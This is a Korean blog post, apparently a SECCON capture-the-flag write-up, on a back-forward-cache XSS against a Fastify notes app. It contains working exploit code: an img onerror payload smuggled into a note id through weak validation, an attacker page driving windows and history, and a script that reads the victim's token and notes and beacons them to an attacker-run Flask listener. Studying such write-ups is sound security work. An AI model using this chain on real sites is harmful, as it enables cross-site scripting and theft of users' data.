[WEB] BFCache attack

뭔가를 작성할 수 있는 노트가 있다.

작성하면 token이 생긴다.

노트에 img 태그까지 넣을 수 있다.

해당 url에 직접 접근하면 note의 내용을 가져올 수 있지 않을까? 즉, js 코드를 가져오면서 실행할 수 있지 않을까?

그냥 접근하면 안 뜬다.

fastify.get("/api/notes/:noteId", async (request, reply) => {
  const user = new User(request.session.userId);
  if (request.headers["x-token"] !== hash(user.id)) {
    throw new Error("Invalid token");
  }
  const noteId = validate(request.params.noteId);
  return user.sendNote(reply, noteId);
});

 

x-token이 없기 때문이다.

근데 get으로는 header를 전달하지 못한다! 따라서 여기서 bf 캐시를 사용한다.

 

먼저 chrome의 flag에서 back forward cache를 disabled로 바꿔준다.

진행 순서는 다음과 같다.

/api/notes/:noteId → / → 페이지 뒤로 가기 → 다운로드

다운로드된 파일을 열어보면 위와 같이 우리가 작성한 노트 내용이 적혀있다.

즉, x-token이 있는 상태로 해당 페이지에 접속했기 때문에 note 내용을 잘 가져온 것이다.

그런데 우리는 파일을 다운로드하지 않고 html로 보는 것을 원한다.

api/notes → / → 페이지 뒤로 가기

 

 

fastify → raw data or application/json 이 default

html로 나오게 만드는 방법이 있다.

확장자에 따라 contents-type을 다르게 정해주기 때문에 url의 확장자가 html로 끝나면 html로 해석해준다.

fastify.post("/api/notes/delete", async (request, reply) => {
  const user = new User(request.session.userId);
  const noteId = validate(request.body.noteId);
  await user.deleteNote(noteId);
  return { noteId };
});

 

const validate = (id) => {
  if (typeof id !== "string") {
    throw Error(`Invalid id: ${id}`);
  }
  if (
    id.includes("..") ||
    id.includes("/") ||
    id.includes("\") ||
    id.includes("%")
  ) {
    // No path traversal
    throw Error(`Invalid id: ${id}`);
  }
  return id;
};

 

위의 코드는 note를 delete하는 코드이다. validate 함수를 실행하는데, .., /, \, % 만 없으면 통과할 수 있다.

즉, note가 없어도 validate만 통과하면 delete가 가능하다. 그말은 즉 내가 아무 id나 만들어서 전달하는 것도 가능하다는 것이다.

delete 요청 가져와서 noteID를 <img ~ >.html 로 바꿔준다.

위와 같이 delete에 내가 원하는 Id를 넣어줬다.

실제로 해당 note를 확인하려고 해보면 alert(1)이 실행되는 것을 확인할 수 있다!

 

xss를 성공했으므로, 이제 flag를 알아오기 위해서 코드를 작성해주자.

from flask import Flask, render_template, request

app = Flask(__name__)

@app.route("/", methods=['POST'])
def index():
    # Flag를 여기로 날림.
    body = request.get_data().decode('utf-8')
    print(body)
    return ""

@app.route("/index.html")
def index_html():
    return reder_template('index.html')

@app.route("/back.html")
def back_html():
    return reder_template('back.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080, debug=True)

/app.py

 

<body>
    <script>
        const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
        const deleteNote = (url, note) => {
            const form = document.createElement("form");
            form.method = "POST";
            form.action = url;
            form.target = "_blank";

            const input = document.createElement("input");
            input.name = "noteId";
            input.value = note;
            form.appendChild(input);

            document.body.appendChild(form);
            form.submit();
        };

        const main = async () => {
            const url = "http://localhost:3000";
            const note = "<img src=x onerror=alert(1)>.html";

            // note(our payload) 삭제
            deleteNote(url+"/api/notes/delete", note);
            await sleep(1000);

            // /api/note/:noteId 열고
            let a = open(url + "/api/notes/" + note);
            await sleep(1000);

            // http://localhost:3000으로 이동
            a.location = url;
            await sleep(1000);

            // /back.html로 이동해서 페이지 뒤로가기 실행
            a.location = location.origin + "/back.html";
            await sleep(1000);
        };

        main();
    </script>
</body>

/templates/index.html

index.html의 main 함수는 다음과 같이 실행된다.

delete → api/note/noteId → / → 페이지 뒤로가기

<script>
    history.go(-2);
</script>

/templates/back.html

페이지 뒤로가기를 위한 back.html이다.

/index.html에 접속하면 위의 과정이 순서대로 진행되어 alert(1)이 실행된다!

이제 payload를 바꿔서 실제로 flag를 가져오자.

<body>
    <script>
        ...

        const payload = `
            (async () => {
                const { token } = await (await fetch("/api/token")).json();

                const noteIDs = await (
                    await fetch("/api/notes",{
                        headers: {"X-Token" : token},
                    })
                ).json();

                const notes = await Promise.all(
                    noteIDs.map((id) => 
                        fetch("/api/notes/" + id, {
                            headers: {"X-Token" : token},
                        }).then((res) => res.text())
                    )
                );

                navigator.sendBeacon("${location.origin}", notes.join("\n"));
            })();
        `;

        const main = async () => {
            ...

            a.postMessage(payload, "*");
        };

        main();
    </script>
</body>

templates/index.html

위의 코드는 /api/notes에 접속해서 note들의 noteId를 알아내고, 각각의 noteId로 url에 접속하여 내용을 하나씩 가져오는 코드이다.

먼저 시범을 위해 예시로 flag들을 넣어봤다.

delete가 실행되고,

이전에 넣어줬던 flag와 함께 delete까지 표시된 것을 확인할 수 있었다.

 

version: "3"
services:
  web:
    build: ./web
    restart: always
    ports:
      - "3000:3000"
    environment:
      - PORT=3000
      - BOT_HOST=bot
      - BOT_PORT=8000
  bot:
    build: ./bot
    restart: always
    environment:
      - FLAG=SECCON{hack3rs_po11ute_3verything_by_v4ri0us_meanS}
      - PORT=8000
      - APP_HOST=web
      - APP_PORT=3000

docker-compose.yml

<body>
    <script>
       ...

        const main = async () => {
            const url = "http://web:3000";
            ...
        };

        main();
    </script>
</body>

 

이제 Report에 보내야하므로 url을 web:3000으로 바꿔줬다.

그리고 실행중인 app.py의 index.html을 report에 넣어주면!

flag를 얻을 수 있다!!

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤